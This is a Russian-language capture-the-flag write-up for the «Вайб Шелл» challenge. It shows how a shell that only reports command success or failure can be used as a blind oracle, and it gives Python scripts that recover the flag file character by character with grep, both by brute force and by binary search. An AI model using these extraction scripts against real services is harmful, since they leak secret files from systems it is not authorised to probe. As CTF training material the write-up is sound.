Райтап на задачу «Вайб Шелл»

dikiyponos

Автор:

dikiyponos

5 ноября 2026

3

05.11.2026
Вайб Шелл
Категория:

Misc

Задача «Вайб Шелл»

LastTeamLead

Автор:

LastTeamLead

Первая кровь:
velvetway
Сложность:
medium
Дата публикации:
13.12.2025
Решений:
45
Рейтинг:
5/5
Ссылка:
Решать

Прочитаем внимательно условие. «Сервер отвечает только успех или провал». Подключимся и посмотрим, что же там такое.

Решение задачи «Вайб Шелл»: иллюстрация 1

Мы подключились и получили консоль, которая отвечает только «Good Vibes!» и «Bad Vibes!». Предположим, что надпись зависит от успешности выполнения команды, где 0 = good vibes, а не 0 = bad vibes.

Решение задачи «Вайб Шелл»: иллюстрация 2

Действительно, команда true, которая всегда возвращает 0, даёт Good Vibes, а false, который возвращает 1 — bad vibes.

Мы знаем формат флага — BugCTF. Попробуем в той директории, где мы находимся, найти файл, который содержит в себе эту строку. Для этого используем grep -rq, если нашел, то 0 — good vibes, если нет — bad vibes.

Решение задачи «Вайб Шелл»: иллюстрация 3

Отлично, мы узнали, что в той директории, где мы находимся, находится флаг. Теперь остаётся его подобрать…

Решение задачи «Вайб Шелл»: иллюстрация 4

Ура, с не знаю какой попытки мы узнали первую букву флага… Всего лишь час ручного перебора — и флаг у вас.

import socket
s=socket.create_connection(("31.207.77.216",4027))
s.settimeout(9)
def q(c):
    s.sendall(c.encode()+b"\n")
    r=b""
    while b"Vibes!" not in r or not r.endswith(b"$ "):
        r+=s.recv(9999)
    return b"Good Vibes!" in r
flag="BugCTF{"
alphabet="abcdefghijklmnopqrstuvwxyz0123456789_{}"
while not flag.endswith("}"):
    for c in alphabet:
        if q(f'grep -rq -- "^{flag}{c}" .'):
            flag += c
            print(flag)
            break
Решение задачи «Вайб Шелл»: иллюстрация 5

Можем написать простенький скрипт на питоне для брутфорса и оно даже сработает, а можно попробовать искать каждый символ с помощью бинарного поиска.

import socket
s=socket.create_connection(("31.207.77.216",4027))
s.settimeout(9)
def q(c):
    s.sendall(c.encode()+b"\n")
    r=b""
    while b"Vibes!" not in r or not r.endswith(b"$ "):
        r+=s.recv(9999)
    return b"Good Vibes!" in r
flag="BugCTF{"
alphabet="abcdefghijklmnopqrstuvwxyz0123456789_{}"
while not flag.endswith("}"):
    lo,hi=0,len(alphabet)-1
    while lo<hi:
        mid=(lo+hi)//2
        chars=alphabet[lo:mid+1]
        if q(f'grep -rq -- "^{flag}[{chars}]" .'):
            hi=mid
        else:
            lo=mid+1
    flag+=alphabet[lo]
    print(flag)
Решение задачи «Вайб Шелл»: иллюстрация 6

Такой скрипт с бинарным поиском работает сильно быстрее тупого брутфорса. Дождитесь выполнения и получите флаг.

Аналогично с помощью pipe-ов можно узнать текущее расположение (/home/ctfuser) и название файла (secret.txt).

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Райтап на задачу «Огрызок»

/Разборы задач

Райтап на задачу «Огрызок»

Определяем компактный формат Micro QR и считываем флаг с обрывка листа.
Прочитать

2

Райтап на задачу «Тяжелый сценарий»

/Разборы задач

Райтап на задачу «Тяжелый сценарий»

Изучаем BMS-чарт, превращаем подозрительные ноты в буквы и извлекаем флаг из музыкальной задачи.
Прочитать

8